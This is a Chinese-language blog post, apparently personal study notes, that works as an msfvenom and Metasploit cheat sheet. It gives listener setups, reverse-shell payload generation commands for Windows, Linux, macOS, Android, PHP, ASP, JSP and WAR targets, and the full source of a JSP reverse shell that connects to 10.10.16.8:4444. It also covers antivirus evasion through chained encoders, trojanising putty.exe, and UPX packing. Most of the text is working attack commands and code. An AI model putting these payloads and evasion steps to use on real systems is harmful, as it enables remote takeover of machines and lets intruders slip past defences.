Eur3ka's Studio.

Msfvenom

2025/09/06
loading

仅做学习记录用

参数

一般是使用反向代理

1
2
3
4
5
6
7
8
9
-l  列出所有可用的payload,编码器,空指令……
-p 指定要使用的msf的payload,也可以使用自定义payload,几乎是支持全平台的
-f 指定payload输出的文件类型,--help-formats,可查看支持的所有输出格式
-e 指定要使用那种编码器
-i 指定编码的次数,如果使用编码器
-b 指定坏字符,比如空字符截断问题,等等……
-x 使用一个自定义可执行程序模板,并将payload嵌入其中
-k 当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用
-o 指定创建好的payload的存放位置

监听器

使用 multi/handler 模块

1
2
3
4
5
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.100
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run

使用 exploit/multi/handler 模块 楼上的升级版

1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.100
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run

使用 exploit/multi/script/web_delivery 模块:该模块可以生成一个可执行文件或 PowerShell 脚本,用于在目标系统上下载和执行 payload

1
2
3
4
5
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set LHOST 192.168.0.100
msf exploit(web_delivery) > set LPORT 4444
msf exploit(web_delivery) > run

Payload

针对计算机介质

Windows

1
2
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o x86_shell.exe
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<ip> LPORT=<port> -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1

Linux

1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf -o shell.elf

Mac

1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f macho -o x86_shell.macho

Android

1
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f apk -o x86_shell.apk

针对中间件

PHP

1
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.php

ASP

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp -o shell.asp

JSP

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.jsp

WAR

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war -o shell.war

对于 WAR 文件而言 可以通过以下命令快速找出具体 jsp 页面

1
2
3
4
5
6
❯ jar -ft shellname.war
WEB-INF/
WEB-INF/web.xml
zegeqsbdu.jsp

curl http://10.10.10.95:8080/shellname/zegeqsbdu.jsp

当然像 Tomcat Web Manager 那样有 gui 的 上传完直接点击就送

原理

WAR 文件

1
2
❯ head -c 16 shell.war | xxd
00000000: 504b 0304 1400 0000 0000 a56a 1d5b 0000 PK.........j.[..

是个实实在在的压缩包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
❯ jar -ft shell.war
WEB-INF/ # version相关内容
WEB-INF/web.xml # version相关内容
zegeqsbdu.jsp #木马实现

# zegeqsbdu.jsp

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
class StreamConnector extends Thread
{
InputStream iM;
OutputStream ay;

StreamConnector( InputStream iM, OutputStream ay )
{
this.iM = iM;
this.ay = ay;
}

public void run()
{
BufferedReader ay = null;
BufferedWriter s5h = null;
try
{
ay = new BufferedReader( new InputStreamReader( this.iM ) );
s5h = new BufferedWriter( new OutputStreamWriter( this.ay ) );
char buffer[] = new char[8192];
int length;
while( ( length = ay.read( buffer, 0, buffer.length ) ) > 0 )
{
s5h.write( buffer, 0, length );
s5h.flush();
}
} catch( Exception e ){}
try
{
if( ay != null )
ay.close();
if( s5h != null )
s5h.close();
} catch( Exception e ){}
}
}

try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}

Socket socket = new Socket( "10.10.16.8", 4444 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>

混淆

以 x86 的 Windows 情况来说 可以使用多重编码器混淆

1
2
3
4
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 10 -f raw 
| msfvenom -e x86/alpha_upper -a x86 --platform windows -i5 -f raw
| msfvenom -e x86/shikkata_ga_nai -a x86 --platform windows -i 10 -f raw
| msfvenom -e x86/countdown -a x86 --platform windows -i 10 -b '\x00\x0a\xff' -f exe -o shell.exe

或者更换可执行文件模版

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -x putty.exe -k -i 5 -f exe -o shell.exe

要么还可以加壳

1
2
upx -5 shell.exe -o upx5_shell.exe
upx -9 shell.exe -o upx9_shell.exe

甚至还可以先不编译

1
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 15 -b '\x00\' -f c -o shell.c
CATALOG
  1. 1. 参数
  2. 2. 监听器
  3. 3. Payload
    1. 3.1. 针对计算机介质
      1. 3.1.1. Windows
      2. 3.1.2. Linux
      3. 3.1.3. Mac
      4. 3.1.4. Android
    2. 3.2. 针对中间件
      1. 3.2.1. PHP
      2. 3.2.2. ASP
      3. 3.2.3. JSP
      4. 3.2.4. WAR
  4. 4. 原理
  5. 5. 混淆